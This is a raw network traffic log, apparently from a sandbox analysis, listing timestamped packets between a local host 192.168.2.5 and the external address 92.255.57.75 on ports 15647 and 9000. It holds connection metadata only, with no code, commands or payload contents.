Dec 17, 2024 08:39:09.989535093 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.037256956 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.101567984 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.101679087 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.109289885 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.181380987 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.189166069 CET	9000	49849	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.189296007 CET	9000	49849	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.189373970 CET	49849	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.191664934 CET	49849	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.221493959 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.221647024 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.291167021 CET	49853	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.294429064 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.310112000 CET	9000	49849	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.337078094 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.342381954 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.342463017 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.411870956 CET	9000	49853	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.412036896 CET	49853	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.412216902 CET	49853	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.413892031 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.462065935 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.462191105 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.462426901 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.533351898 CET	9000	49853	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.533759117 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.533858061 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.583054066 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.653774977 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.653913975 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.666445017 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.712184906 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.775079012 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.775207996 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.937706947 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.937820911 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:10.967135906 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:10.967293978 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.057730913 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.087069988 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.087212086 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.087318897 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.133939981 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.159007072 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.212070942 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.253851891 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.255780935 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.279212952 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.321422100 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.555800915 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.597878933 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.598246098 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.598339081 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.649470091 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.649609089 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.675569057 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.718149900 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.740436077 CET	9000	49853	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.740467072 CET	9000	49853	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.740537882 CET	49853	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.740653992 CET	49853	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.769315004 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.769373894 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.777364016 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.789854050 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.790023088 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.853418112 CET	49857	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.860301018 CET	9000	49853	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.929470062 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.929531097 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.961484909 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.961687088 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.973242998 CET	9000	49857	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:11.973351955 CET	49857	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:11.973573923 CET	49857	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:12.049272060 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.049376011 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:12.081304073 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.081455946 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:12.093291044 CET	9000	49857	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.193578959 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.193830967 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:12.253437042 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.313589096 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.313713074 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:12.361311913 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.415266991 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:12.433520079 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.433650017 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:12.505836964 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.553347111 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.553457975 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:12.593554974 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.633971930 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:12.673254967 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.673332930 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:12.697736025 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.743350983 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:12.785728931 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:12.785857916 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:12.833508968 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.072987080 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.073136091 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.155282021 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.155505896 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.155751944 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.193022013 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.193151951 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.213469982 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.258970976 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.290028095 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.291477919 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.300384045 CET	9000	49857	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.300455093 CET	9000	49857	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.300503969 CET	49857	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.300631046 CET	49857	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.353557110 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.411355019 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.411423922 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.416101933 CET	49862	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.420279980 CET	9000	49857	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.481888056 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.524760962 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.531213999 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.531346083 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.535881042 CET	9000	49862	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.536144018 CET	49862	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.536144018 CET	49862	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.603535891 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.603696108 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.651175976 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.655909061 CET	9000	49862	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.723570108 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.723747015 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.795321941 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.795782089 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.843591928 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.847054958 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.915513039 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.962110043 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:13.966835022 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:13.967787027 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.035757065 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.087052107 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.087563038 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.087630987 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.107455969 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.149569988 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.227565050 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.227735996 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.390568018 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.390757084 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.400582075 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.446505070 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.510525942 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.510720015 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.539649963 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.587184906 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.591552973 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.591700077 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.677472115 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.702766895 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.703020096 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.711401939 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.822854042 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.822946072 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.861831903 CET	9000	49862	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.861974001 CET	9000	49862	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.862049103 CET	49862	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.862049103 CET	49862	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.895015955 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.942887068 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:14.942982912 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.978214979 CET	49868	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:14.981798887 CET	9000	49862	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:15.015054941 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:15.055861950 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:15.062828064 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:15.062957048 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:15.097970963 CET	9000	49868	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:15.098057985 CET	49868	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:15.098220110 CET	49868	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:15.129569054 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:15.180821896 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:15.182784081 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:15.182848930 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:15.206901073 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:15.217869043 CET	9000	49868	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:15.258996964 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:15.321434021 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:15.321602106 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:15.481451035 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:15.481553078 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:15.494811058 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:15.540191889 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:15.601476908 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:15.601579905 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:15.915271997 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.168014050 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.168041945 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.168142080 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.168391943 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.168435097 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.168447018 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.168478966 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.168541908 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.168786049 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.209600925 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.209708929 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.329530001 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.329619884 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.422391891 CET	9000	49868	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.422410011 CET	9000	49868	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.422538996 CET	49868	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.426388979 CET	49868	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.483298063 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.483470917 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.541016102 CET	49869	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.546186924 CET	9000	49868	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.641774893 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.641906977 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.660942078 CET	9000	49869	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.661114931 CET	49869	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.661298990 CET	49869	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.781162977 CET	9000	49869	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.796016932 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.796149015 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:16.955238104 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:16.955351114 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:17.108114004 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:17.108278036 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:17.267805099 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:17.267997026 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:17.422147989 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:17.422302961 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:17.579931021 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:17.580018997 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:17.734354973 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:17.734443903 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:17.891962051 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:17.892225981 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:17.985790968 CET	9000	49869	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:17.985821009 CET	9000	49869	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:17.985917091 CET	49869	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:17.986094952 CET	49869	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:18.046242952 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:18.046463966 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:18.087893009 CET	49875	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:18.106590986 CET	9000	49869	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:18.204230070 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:18.204446077 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:18.207638025 CET	9000	49875	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:18.207755089 CET	49875	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:18.207964897 CET	49875	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:18.327605009 CET	9000	49875	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:18.358618021 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:18.361521006 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:18.516385078 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:18.519820929 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:18.673490047 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:18.673666000 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:18.831895113 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:18.832065105 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:18.987071037 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:18.987169981 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:19.144244909 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:19.144458055 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:19.299216032 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:19.299305916 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:19.456563950 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:19.459796906 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:19.535425901 CET	9000	49875	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:19.535533905 CET	9000	49875	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:19.535614014 CET	49875	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:19.535763979 CET	49875	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:19.611121893 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:19.611226082 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:19.650180101 CET	49881	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:19.655498981 CET	9000	49875	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:19.769898891 CET	9000	49881	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:19.769968033 CET	49881	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:19.770309925 CET	49881	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:19.771605015 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:19.771670103 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:19.889976025 CET	9000	49881	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:19.923106909 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:19.923183918 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:20.083585978 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:20.083781004 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:20.383974075 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:20.464504957 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:20.464602947 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:20.464884043 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:20.508939028 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:20.549498081 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:20.550434113 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:20.584745884 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:20.587631941 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:20.634032011 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:20.696115971 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:20.696319103 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:20.857393980 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:20.857594967 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:20.862405062 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:20.915245056 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:20.987143993 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:20.987232924 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.008423090 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.055881977 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.096484900 CET	9000	49881	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.096654892 CET	9000	49881	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.096927881 CET	49881	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.099689007 CET	49881	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.149502039 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.151762962 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.179357052 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.200421095 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.200506926 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.213058949 CET	49884	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.216547012 CET	9000	49881	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.271601915 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.320249081 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.320298910 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.332828045 CET	9000	49884	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.334934950 CET	49884	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.335072994 CET	49884	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.371417999 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.415251017 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.439965963 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.440012932 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.454736948 CET	9000	49884	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.463773012 CET	15647	49781	92.255.57.75	192.168.2.5
